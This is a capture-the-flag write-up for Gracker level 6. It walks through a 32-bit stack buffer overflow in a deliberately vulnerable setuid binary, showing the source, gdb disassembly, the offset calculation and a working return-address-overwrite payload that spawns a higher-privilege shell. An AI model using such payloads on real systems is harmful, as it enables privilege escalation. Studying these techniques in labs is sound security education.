Gracker level6 (Buffer overflow - a pool)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap is pretty much what I did.

Level6

The story doesn’t reveal much except for the fact that we’d better study about how functions return.

Looking at the source code of level6.c, we can easily figure out it is a buffer overflow based challenge as it is not doing any checks against the length of user input.

level6@gracker:/matrix/level6$ cat level6.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

// gcc level6.c -fno-stack-protector -z execstack -m32 -o level6

void spawn_shell() {
    printf("Welcome to Arjia City!\n");
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
    system("/bin/sh");
}

void gates_of_arjia(char *input) {
    char buffer[32];
    strcpy(buffer, input);
    printf("Return to: %p\n", __builtin_return_address(0));
}

int main(int argc, char **argv)
{
    if(argc!=2) {
        printf("usage: %s <input>\n", argv[0]);
        exit(1);
    }
    printf("Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.\n");
    printf("What are you doing here? Are you a user or a program?\n");
    printf("Where did you come from? Proof your identity:\n");
    gates_of_arjia(argv[1]);
    exit(0);
}

Some good resources to read up on buffer overflow are:

To confirm that it’s buffer overflow vulnerability we fuzz it by entering a large input(larger than the 32 bytes reserved for buffer).

[email protected]:/matrix/level6$ ./level6 $(python -c "print 'A'*50")
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:
Return to: 0x41414141
zsh: segmentation fault  ./level6 $(python -c "print 'A'*50")

And it seems we were right about the buffer overflow vulnerability.

Now we pump up gdb, and try to figure out what we can do. First of all we study the disassembly.

[email protected]:/matrix/level6$ gdb level6 -q
Reading symbols from level6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:

[...snip...]
   0x0804867c <+99>:	add    $0x10,%esp
   0x0804867f <+102>:	mov    0x4(%ebx),%eax
   0x08048682 <+105>:	add    $0x4,%eax
   0x08048685 <+108>:	mov    (%eax),%eax
   0x08048687 <+110>:	sub    $0xc,%esp
   0x0804868a <+113>:	push   %eax
   0x0804868b <+114>:	call   0x80485eb <gates_of_arjia>
   0x08048690 <+119>:	add    $0x10,%esp
   0x08048693 <+122>:	sub    $0xc,%esp
   0x08048696 <+125>:	push   $0x0
   0x08048698 <+127>:	call   0x8048460 <exit@plt>
End of assembler dump.
(gdb) disas gates_of_arjia 
Dump of assembler code for function gates_of_arjia:
   0x080485eb <+0>:	push   %ebp
   0x080485ec <+1>:	mov    %esp,%ebp
   0x080485ee <+3>:	sub    $0x28,%esp
   0x080485f1 <+6>:	sub    $0x8,%esp
   0x080485f4 <+9>:	pushl  0x8(%ebp)
   0x080485f7 <+12>:	lea    -0x28(%ebp),%eax
   0x080485fa <+15>:	push   %eax
   0x080485fb <+16>:	call   0x8048420 <[email protected]>
   0x08048600 <+21>:	add    $0x10,%esp
   0x08048603 <+24>:	mov    0x4(%ebp),%eax
   0x08048606 <+27>:	sub    $0x8,%esp
   0x08048609 <+30>:	push   %eax
   0x0804860a <+31>:	push   $0x804874f
   0x0804860f <+36>:	call   0x80483f0 <printf@plt>
   0x08048614 <+41>:	add    $0x10,%esp
   0x08048617 <+44>:	leave  
   0x08048618 <+45>:	ret    
End of assembler dump.
(gdb) disas spawn_shell 
Dump of assembler code for function spawn_shell:
   0x0804858b <+0>:	push   %ebp
   0x0804858c <+1>:	mov    %esp,%ebp
   0x0804858e <+3>:	sub    $0x18,%esp
   0x08048591 <+6>:	sub    $0xc,%esp
[...snip...]

End of assembler dump.
(gdb)

So we’ll be following the following steps:

  • Set a breakpoint just after the call to strcpy() in the function gates_of_arija(). The address 0x08048600 seems perfect.
  • Run the binary with a input within the bounds of buffer. The execution will break at the break point.
  • Examine the stack entries near this breakpoint. Looking for 0x08048690 , which is the default return address ie. the address of the next instruction in main() after gates_of_arija() has been called.
(gdb) b *0x08048600
Breakpoint 1 at 0x8048600
(gdb) r $(python -c "print 'A'*30")
Starting program: /matrix/level6/level6 $(python -c "print 'A'*30")
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:

Breakpoint 1, 0x08048600 in gates_of_arjia ()
(gdb) x/32xw $esp
0xffffdbc0:	0xffffdbd0	0xffffddf8	0x0000002d	0xf7e8ce64
0xffffdbd0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdbe0:	0x41414141	0x41414141	0x41414141	0xff004141
0xffffdbf0:	0x00000000	0x00000000	0xffffdc18	0x08048690
0xffffdc00:	0xffffddf8	0xffffdcc4	0xffffdcd0	0xf7e5939d
0xffffdc10:	0xffffdc30	0xf7fce000	0x00000000	0xf7e41a63
0xffffdc20:	0x080486a0	0x00000000	0x00000000	0xf7e41a63
0xffffdc30:	0x00000002	0xffffdcc4	0xffffdcd0	0xf7feac7a
(gdb) print 0xffffdbfc-0xffffdbd0
$1 = 44
(gdb) 

We can see the A’s as the many \x41 values in the stack. We can see that our buffer starts from 0xffffdbd0. We can also see the return address we were looking for, a few DWORDS later at 0xffffdbfc. We then find the offset of this return address from the start of our buffer.

Now we have to design our payload. We want the function to return to spawn_shell() function instead of 0x08048690. So we’ll design the payload such that we overwrite the return address with 0x0804858b which is the starting address of the spawn_shell() function as seen in the disassembly. The first 44 bytes of the payload can be anything(let’s keep it a bunch of A’s). The next 4 bytes will be the 0x0804858b in little endian format, which is just the address written backwards 2 bits at a time. Also since many of the bytes are can’t be typed as characters, we’ll use the python -c switch to send our payload as an argument to the program.

Thus the final exploit looks like

(gdb) r $(python -c "print 'A'*44 + '\x8b\x85\x04\x08'")
Starting program: /matrix/level6/level6 $(python -c "print 'A'*44 + '\x8b\x85\x04\x08'")
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:

Breakpoint 1, 0x08048600 in gates_of_arjia ()
(gdb) c
Continuing.
Return to: 0x804858b
Welcome to Arjia City!
$ whoami
level6
$ 

What!!! How did that happen. We should have had the level7 shell, instead we have level6. I thought a lot about why that would happen, and figured out that when we are running the binary through gdb it does not run with the permission of the owner(which is level7), instead it runs with level6 permission. So now all we have to do is use our exploit, without gdb.

[email protected]:/matrix/level6$ ./level6 $(python -c "print 'A'*44 + '\x8b\x85\x04\x08'") 
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:
Return to: 0x804858b
Welcome to Arjia City!
$ whoami
level7
$ 

And Voila! We have level7 shell which we can use to read the level7 password. I am not revealing the password here so that the readers try the challenge on their own.

The levels seem to be getting tougher and more enjoyable :) .